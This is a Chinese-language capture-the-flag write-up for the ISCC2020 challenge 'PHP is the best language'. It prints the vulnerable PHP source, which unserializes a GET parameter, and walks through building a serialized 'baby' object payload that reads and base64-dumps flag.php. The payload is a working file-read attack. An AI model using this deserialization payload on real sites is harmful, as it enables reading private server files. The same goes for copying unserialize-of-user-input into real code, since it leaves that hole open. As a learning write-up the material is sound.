ISCC2020-PHP is the best language

ISCC2020-PHP is the best language

这也算是我第一次成功做出来一道PHP反序列化的题目了,在此记录一下。以前看到这种题目看一眼就放弃了,根本看不懂,现在也算是入了个门吧,也不再畏惧这类题目了。那么话不多说,开始淦。

  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="

谢谢参与!

"
; } ?>

看上去代码很多,很多新手比如我就已经选择放弃了,其实仔细一看,也不是很难,看这个类


class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
?>

这里审计一波,如果这个类里面的file变量已经设置,就满足条件,file_get_contents函数可以读取文件的内容(把整个文件读入一个字符串中),然后base64编码输出。而这里是定义了一个魔术方法
__toString(当echo变量时会调用这个方法)
这里我们再看源代码的一段

if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}

这里我们的思路就很清晰了,要读取flag.php中的内容,则使$file变量为flag.php,然后进行序列化。最后使用GET方法传递参数data,这里的payload为:

  
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
$a = new baby();
$a->file='flag.php';
echo serialize($a);
?>

序列化的结果为:

O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

故最终payload为:

/?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

得到一串base64,解码得flag

你可能感兴趣的:(PHP反序列化)